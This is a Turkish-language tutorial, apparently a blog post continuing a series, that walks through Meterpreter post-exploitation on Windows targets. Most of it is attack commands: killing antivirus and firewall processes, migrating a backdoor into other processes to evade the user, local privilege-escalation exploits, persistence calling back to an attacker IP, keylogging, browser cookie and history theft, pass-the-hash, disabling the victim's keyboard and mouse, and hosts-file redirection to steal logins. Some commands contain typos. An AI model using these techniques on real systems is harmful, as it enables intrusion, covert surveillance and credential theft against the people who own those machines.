Geçen hafta hazırladığım Meterpreter ile post exploitation evresini tek yazıya sığdırmam pek de mümkün değildi. Bu hafta seriye devam edeceğim. Bu yazıda ağırlıklı bulunan aşamalar ise, yetki yükseltme, kalıcılığı sağlama ve kullanıcıya yakalanmama süreçleri olacak.
Antivirüs ve Firewall Kapatma
Post exploitation aşamasında, antivirüsler durumu fark edip sıkıntı yapabiliyorlar. Bu durumda makineye girmişken kaybetmek olmaz. Antivirüsleri ve firewalları saf dışı bırakmamız gerekiyor.
getcountermeasure
meterpreter > run getcountermeasure -d -k
[*]Running Getcountermeasure on the target...
[*]Checking for countermeasure...
[*]Getting Windows Bilt in Firewall configuration...
...snip...
Firewall ve antivirüsleri devre dışı bırakmak için kullanılan bu scriptte, [vurgu color=”#dd3333″]-d[/vurgu] parametresi firewalları, [vurgu color=”#dd3333″]-k[/vurgu] parametresi ise antivürsleri devre dışı bırakır. Ancak çoğu antivirüs için yeterli bir çözüm olmadığını bilmemiz iyi olacak. Shell komutu ile komut penceresine erişelim. Söz konusu antivirüsün processini bulmamız gerekiyor. ps komutu ile göz atabilirsiniz. Ancak daha pratik bir yolu var.
Tasklist /SVC | find /I “avg” = avg
Bu şekilde anahtar kelime üzerinden processler üzerinde arama yapabiliriz. Daha sonra bulduğumuz processi devre dışı bırakmayı deneyeceğiz.
sc config avgwd start= disabled
taskkill /F /IM “avg*”
Yukarıda önce avgwd processini devre dışı bırakmayı denedik. Çalışmaması halinde sonraki satırda yer alan komutla avg ile başlayan tüm processleri kapatmayı deneyebiliriz. Bunlar da işe yaramazsa bir şansımız daha var: Regedit üzerinde değişiklik yapmak. Öncelikle söz konusu dizindeki kayıtları listeleyelim. Daha sonra AVG_UI gibi, antivirüs ismine göre bir kayıt bulmanız olası.
reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Bu durumda o kaydı silmek bizim işimizi çok kolaylaştıracaktır. Bu defa deleteval kullanarak -v parametresi ile kayıt ismini veriyoruz ve kaydı kaldırıyoruz. Kayıtlara tekrar baktığınızda muhtemelen kayıt artık orada olmayacaktır.
reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v AVG_UI
Yetki Yükseltme İşlemi
Migrate
Sistemdeki diğer processlere, elimizdeki backdoorumuzu yapıştırabiliriz. Bu durumda kullanıcı, görev yöneticisine baktığında, olağan dışı bir durum görmeyecektir. Fakat bizim yapıştığımız sıradan process, çalıştığı müddetçe, biz de sistemde var olacağız demektir. Bu durumda yapışmak için seçtiğimiz process de önemli diyebiliriz. Diğer mesele ise, söz konusu processin yetkisi dahilinde işlem yapma şansımız olacak demektir. Sınırlı yetkilere sahipken, bu yöntemle yetki yükseltme işlemi yapabiliriz. Aksi de mümkün ancak bu çok da mantıklı olmayacaktır 🙂
ps komutu ile porcesslere bakalım. Backdoorumuz da listede bulunacaktır. Daha sonra bulaşmak istediğimiz processi belirleyelim ve onun [vurgu color=”#dd3333″]PID[/vurgu] değerini alalım. Sonrasında ise geriye şu komutu yazmak kalıyor:
meterpreter > migrate <PID>
[*] Migrating from 415 to 680…
Migration completed succesfully.
Local Exploit
Sistemde yetki yükseltme aşamasında local exploitlerden de faydalanabiliriz. Söz konusu exploitleri metasploit üzerinden aramak mümkün. Bundan sonrasında devam edeceğimiz örnek Windows XP, 7 gibi versiyonlarda çalışırken 8 ve 10 üzerinde çalışmıyor. Exploiti seçtikten sonra info diyerek hangi sistemlerde çalışabildiğini görebilirsiniz.
msf exploit(handler) > use ecploit/windwos/local/ppr_flatten_rec
msf exploit(ppr_flatten_rec)
> set SESSION 1
Bu ayarlama sonrasında exploiti kullanarak devam ediyoruz. Şayet meterpreter üzerinde ikinci oturumumuz açılırsa exploit başarılı oldu demektir. İkinci oturuma bağlanarak tam erişimle devam edebiliriz. Yalnız local exploitlerle yetki yükseltirken önemli bir detayımız var. [vurgu color=”#dd3333″]getsystem[/vurgu] gibi komutların sonrasında, local exploitler çalıştırıldığında hata ile karşılaşabilirsiniz. Exploit, daha önce yetki yükseltme işlemi yaptığınızı varsayabilir. Şayet ikinci oturum açılmazsa ilk oturumdan devam ederek farklı taktikler denenebilir.
Backdoor’un kalıcılığını sağlama yöntemleri
Sisteme girdikten sonra genelde en büyük isteğimiz sistemde kalabilmek. Bunun için de bazı yöntemler var. Yetki yükseltme aşamasında bahsettiğimiz migrate kısmını da kalıcılık kısmına dahil edebiliriz. Yaptığımız birçok işlem aslında sistemde tutunabilmek için.
persistence
[vurgu color=”#dd3333″]run persistence -h [/vurgu] komutu ile detaylarını öğrenebileceğiniz bu eklenti, otomatik olarak sistemde kalıcı olmamızı sağlayan işlemleri halleder.
- -A: Backdoor dinlenmeye alındığında otomatik olarak bağlantı gelmesini sağlar.
- -L </dizinismi>: Backdoor’un otomatik kayıt edileceği konum seçilir. Default durumda temp klasörü seçilir.
- -P<payload>: Seçilecek olan payload girilir.
- -S: Backdoor bir sistem dosyası gibi çalışır. Haliyle sistem yetkisinde çalışılır.
- -i: Bağlantı isteklerinin kaç saniyede bir gönderileceğini buradan belirleyebilirsiniz.
- -X: Sistem açıldığında çalışacak başka bir backdoorun kurulmasını sağlar.
- -p: Bağlantının geleceği portu seçebilirsiniz. Backdoor için oluşturacağınız porttan bahsediyorum.
- -r: Saldırganın IP adresi yazılır.
meterpreter > run persistence -A -U user -L C:\\windows\\system32 -i 20 -p 4444 -r 192.168.1.98
Diğer komutlar
keylogrecorder
Karşı tarafın bastığı her tuşu kaydedip incelemek mümkün. Farklı özelliklere sahip bu eklentinin diğer özellikleri için keylogrecorder -h komutunu kullanarak bilgi edinebilirsiniz. Aşağıdaki komutta ise önce [vurgu color=”#dd3333″]-t[/vurgu] parametresi ile saniyelik bir kayıt aldık. Daha sonra ise kaydolduğu dizine giderek sonuçları listeledik.
meterpreter > run keylogrecorder -t 10
meterpreter > cat /root/.msf4/logs/scripts/keylogrecorder/192.168.1.98_20190210.1123.txt
keyscan
Bu araç ise çok daha basit bir tuş kayıt aracı. Start ile başlıyor, dump ile kayıtları ortaya döküyor, stop ile duruyor. Hepsi bu 🙂
meterpreter > keyscan_start
Starting the keystroke sniffer…
meterpreter > keyscan_dump
Dumping captured keystrokes…
meterpreter > keyscan_stop
Stopping the keystroke sniffer…
Browserlardan veri almak
Karşı makinenin browserları üzerinden cookie, geçmiş kayıtları gibi bilgileri çekmek mümkün. Farklı tarayıcılar için farklı komutlar gerekiyor. Kaydolan dosyaları SQLite Database Browser gibi araçlarla inceleyebilirsiniz.
meterpreter > run post/windows/gather/enum_chrome
meterpreter > run enum/firefox
meterpreter > run post/windows/gather/enum_ie
Psexec pass the hash
Önceki yazıda makinedeki kullanıcıların hash bilgilerini elde etmiştik. Şimdi o kullanıcı hashleri ile sisteme giriş yapmayı deneyelim. Bu hashlerle giriş yapmak için, hashleri kırmaya gerek yok.
[vurgu color=”#dd3333″]exploit/windows/smb/psexec[/vurgu] exploitini kullanarak gerekli parametreleri giriyoruz. [vurgu color=”#dd3333″]SMBUser[/vurgu] kısmına hash üzerinde bulunan ilk kısmı, [vurgu color=”#dd3333″]SMBPass[/vurgu] kısmına ise, hash üzerindeki son ve uzun kısmı alarak giriyoruz. Yalnız kullanıcı adı sonrasında gelen kısa sayılar hariç. Örneğin:
[vurgu color=”#dd3333″]Administrator:500:aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0[/vurgu]
Burada “Administrator” kısmı SMBUser alanına, “aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0” kısmı ise SMBPass alanına girilecek. Sonrasında exploiti denediğimizde çalışacaktır. Birkaç sefer denemek gerekebilir.
Versiyon öğrenme
Makinede yüklü olan yazılımların versiyonlarını öğrenmek için aşağıdaki komut yeterli olacaktır.
meterpreter > run get_application_list
Bazı donanımların kontrolünü sağlama
Siz bir işlem yaptığınız esnada karşı tarafta bir donanımın kullanılmaz olmasını, müdahale edememesini isteyebilirsiniz. Bu durumda aşağıdaki komut yeterli olacaktır
meterpreter > uictl disabled keyboard
meterpreter > uictl disabled mouse
Enable diyerek tekrar aktif hale getirebiliriz.
DNS spoofing işlemi
DNS Spoofing, ayrı bir yazı konusu olmakla beraber özet geçmek gerekirse kullanıcıyı, bizim belirlediğimiz sayfaya yönlendirmek anlamına gelir. Bu şekilde kendi oluşturduğunuz sahte bir web sitesini, kullanıcının girdiği domain ile değiştirerek giriş bilgilerini elinden alabilirsiniz. Aşağıdaki örnekte, boşluktan sonra belirtilen domaine girildiğinde, boşluktan önce yazılan IP adresine yönlendirilmesini sağlar. Örneğin test.txt isminde bir dosya oluşturalım ve içine şunu yazalım:
172.252.110.27 google.com
Daha sonra aracımızı nasıl kullanacağız ona bakalım.
meterpreter > run hostsedit -l text.txt
Not defterinden birden fazla web sitesini bu şekilde yönlendirmeye alabilirsiniz. Ancak bir tane yönlendirme yapacaksanız aşağıdaki komut yeterli olacaktır.
meterpreter > run hostsedit -e 172.252.110.27,google.com
CheckVM
Karşı makinenin sanal makine olup olmadığını teyit etmek için kullanılır.
meterpreter > run post/windows/gather/checkvm
Sniffing
Makine üzerindeki network paketlerinin takibini ve incelenmesini sağlar.
meterpreter > sniffer_start
[*]Capture started on interface 1 (50000 packet buffer)
meterpreter > sniffer_dump 1 /tmp/packets.cap